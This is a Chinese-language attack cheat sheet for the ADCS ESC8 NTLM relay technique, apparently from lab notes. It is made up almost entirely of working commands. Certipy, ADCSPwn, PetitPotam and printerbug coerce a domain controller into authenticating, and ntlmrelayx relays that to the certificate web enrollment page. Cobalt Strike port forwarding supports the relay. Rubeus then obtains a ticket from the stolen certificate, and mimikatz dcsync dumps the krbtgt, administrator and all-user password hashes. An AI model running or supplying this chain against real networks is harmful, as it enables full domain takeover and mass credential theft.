漏洞简介
ADCS在默认安装的时候,其Web接口支持NTLM身份验证并且没有启用任何NTLM Relay保护措施。强制域控制器计算机帐户(DC$)向配置了NTLM中继的主机进行身份验证。身份验证被转发给证书颁发机构(CA)并提出对证书的请求。获取到了DC$的证书后就可以为用户/机器请求TGS/TGT票据,获取相应的权限。
curl http://192.168.11.12/certsrv/ -I
存在ntlm认证:
http://192.168.11.12/certsrv/certfnsh.asp
漏洞利用
# 探测是否存在漏洞
certipy find -u zhangsan@red.lab -p zs@123456 -dc-ip 192.168.149.133 -vulnerable -stdout
certipy find -u zhang@attack.cn -p 321.com -dc-ip 192.168.11.11 -vulnerable -stdout
域内
# 待打,因为会使RPC临时性关闭,需要重启
execute-assembly ADCSPwn.exe --adcs ADCS.attack.cn --remote DC.attack.cn
ADCSPwn.exe --adcs ADCS.attack.cn --remote DC.attack.cn
CS:
execute-assembly Rubeus.exe asktgt /user:DC2012$ /certificate:<base64-certificate> /ptt
dcsync red.lab red\krbtgt
使用ADCSpwn打ESC8需要域控启用WebClient服务,默认是没有安装该功能的。 DC安装桌面体验重启即可:
域外
ntlmrelayx监听获取TGT
# 进行监听
#端口转发
PortBender redirect 445 8445
rportfwd_local 8445 127.0.0.1 8445
python3 ntlmrelayx.py -t http://192.168.11.12/certsrv/certfnsh.asp -smb2support --adcs --template DomainController --smb-port 8445
-------------------------------------------------------
python3 ntlmrelayx.py -t http://192.168.11.12/certsrv/certfnsh.asp -smb2support --adcs --template 'domain controller'
将WIN10(域用户机器)的445端口流量备份到8445,然后将WIN10-8445端口转发到CS client端的8445端口,实战中还需要通过socks隧道用proxychains将relay的流量打入到目标环境。因为CS client是通目标IP的,就未作模拟。
# 进行强认证的连接,让域控强制来访问攻击机kali
# 通过监听获取到机器用户的TGT
python3 PetitPotam.py Relayip DCip
python3 PetitPotam.py 192.168.11.6 192.168.11.11
python3 PetitPotam.py -u '' -p '' 192.168.11.6 192.168.11.11
printerbug:
python3 printerbug.py attack/zhang:321.com@192.168.11.11 192.168.11.6
1、CS操作:
Rubeus.exe asktgt /user:dc$ /certificate:xxxxxxxx /ptt
execute-assembly Rubeus.exe asktgt /user:DC$ /certificate:<base64-certificate> /ptt
dcsync red.lab red\krbtgt
2、mimikatz操作
Rubeus.exe asktgt /user:dc$ /certificate:xxxxxxxx /ptt
mimikatz.exe
kerberos::list #查看kerberos票据
kerberos::purge #清空以前的票据
kerberos::ptt ticket.kirbi #导入票据
lsadump::dcsync /user:krbtgt /csv #导出krbtgt用户的hash
lsadump::dcsync /user:administrator /csv #导出administrator用户的hash
lsadump::dcsync /user:krbtgt /csv #导出krbtgt用户的hash
lsadump::dcsync /all /csv #导出全部用户的hash
Rubeus两种使用方式:
1、Rubeus获取到后,保存为ticket.kirbi,使用mimikatz进行导入票据进而利用
2、Rubeus获取到ticket后直接ptt,mimikatz可直接利用 (首选)